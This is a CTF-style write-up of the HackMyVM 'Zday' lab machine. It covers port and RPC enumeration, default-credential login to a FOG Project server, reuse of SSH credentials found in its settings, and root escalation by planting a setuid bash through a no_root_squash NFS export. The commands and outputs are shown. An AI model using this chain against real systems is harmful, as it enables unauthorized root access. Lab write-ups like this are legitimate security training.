HMV Zday Summary

2026-04-15 2026-04-15292 Words

This is a medium-level machine with a enabled default credential FOG project there which leaks SSH credential within its settings. Then a misconfigured (rw,no_root_squash) NFS service could be exploited by me to escalate my privilege.

Scope

  • Name: Zday
  • Difficulty: (5/10)
  • OS: Linux
  • IP: zday.hmv (192.168.56.135)

Enumeration

Nmap

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
443/tcp   open  https
2049/tcp  open  nfs
3306/tcp  open  mysql
32915/tcp open  unknown
39541/tcp open  unknown
42703/tcp open  unknown
45563/tcp open  unknown

There is a rpc(111) service enabled, and I know that ftp does't allow anonymous login from the detail scanning. So I follow the Hacktricks - rpc to enumerate that service first.

RPC

❯ rpcinfo -T udp -p zday.hmv
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp  46393  mountd
    100005    1   tcp  45563  mountd
    100005    2   udp  58400  mountd
    100005    2   tcp  32915  mountd
    100005    3   udp  35691  mountd
    100005    3   tcp  39541  mountd
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    3   tcp   2049  nfs_acl
    100003    3   udp   2049  nfs
    100227    3   udp   2049  nfs_acl
    100021    1   udp  38408  nlockmgr
    100021    3   udp  38408  nlockmgr
    100021    4   udp  38408  nlockmgr
    100021    1   tcp  42703  nlockmgr
    100021    3   tcp  42703  nlockmgr
    100021    4   tcp  42703  nlockmgr
❯ showmount -e zday.hmv
Export list for zday.hmv:
/images/dev *
/images     *

Yeah! The NFS service tell me some interesting thing: /images.

❯ sudo mkdir /mnt/images
❯ sudo mount -t nfs zday.hmv:/images /mnt/images
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service''/usr/lib/systemd/system/rpc-statd.service'.
❯ ll /mnt/images
drwxrwxrwx - 1001 2021-03-10 dev
drwxrwxrwx - 1001 2021-03-10 postdownloadscripts
❯ ll -a /mnt/images/dev
drwxrwxrwx - 1001 2021-03-10 postinitscripts
.rwxrwxrwx 0 1001 2021-03-10 .mntcheck
❯ ll -a /mnt/images/postdownloadscripts
.rwxrwxrwx 235 1001 2021-03-10 fog.postdownload
❯ cd /mnt/images
❯ fd --type=f  . --exec=file
./postdownloadscripts/fog.postdownload: Bourne-Again shell script, ASCII text executable
./dev/postinitscripts/fog.postinit: Bourne-Again shell script, ASCII text executable
❯ cat fog.postinit
#!/bin/bash
## This file serves as a starting point to call your custom pre-imaging/post init loading scripts.
## <SCRIPTNAME> should be changed to the script you're planning to use.
## Syntax of post init scripts are
#. ${postinitpath}<SCRIPTNAME>
❯ cat fog.postdownload
#!/bin/bash
## This file serves as a starting point to call your custom postimaging scripts.
## <SCRIPTNAME> should be changed to the script you're planning to use.
## Syntax of post download scripts are
#. ${postdownpath}<SCRIPTNAME>

But it seems useless now. Then I turn to web service.

Web

A simple web enumeration will tell me that there is a /fog endpoint. After google this keyword I know it is a open source project. Additionally, I get a default credential from its wiki. https://wiki.fogproject.org/wiki/index.php?title=Password_Central

Luckily, I login successfully using that credential. And obtain its version: 1.5.9. Then I searchsploits for that and get this: https://www.exploit-db.com/exploits/49811.

But I failed to trigger this vulnerablity.

After that, I goto its settings page and discover some credentials for its services. Then I use one of these login successfully to the SSH service. (fogproject)

This user could only login with /bin/sh cause its shell configuration. use -t option with /bin/sh for ssh.

Privilege Escalation

Since the NFS service that I interactive with before, I first check its configuration, woo, I realize that could be exploited immediately. Cause (rw,no_root_squash):

  • rw: permit us to read/write file from remote.
  • no_root_squash: means remote root equals to root of this machine. which is very dangerous.
$ cat /etc/exports
/images *(ro,sync,no_wdelay,no_subtree_check,insecure_locks,no_root_squash,insecure,fsid=0)
/images/dev *(rw,async,no_wdelay,no_subtree_check,no_root_squash,insecure,fsid=1)

Only /images/dev is rw, so we need to mount this path from remote.

Then the thing is very straightforward, I copy a bash to that directory and chmod/chown from remote! (chmod +s xxx chown root:root xxx).

$ ls -al /images/dev
total 1156
drwxrwxrwx 3 fogproject root    4096 Apr 15 09:57 .
drwxrwxrwx 4 fogproject root    4096 Apr 15 09:57 ..
-rwsr-sr-x 1 root       root 1168776 Apr 15 09:54 bash
-rwxrwxrwx 1 fogproject root       0 Mar 10  2021 .mntcheck
drwxrwxrwx 2 fogproject root    4096 Mar 10  2021 postinitscripts
$ /images/dev/bash -p
bash-5.0# id
uid=1001(fogproject) gid=1001(fogproject) euid=0(root) egid=0(root) groups=0(root),1001(fogproject)

Creator: Emacs 31.0.50 (Org mode 10.0-pre)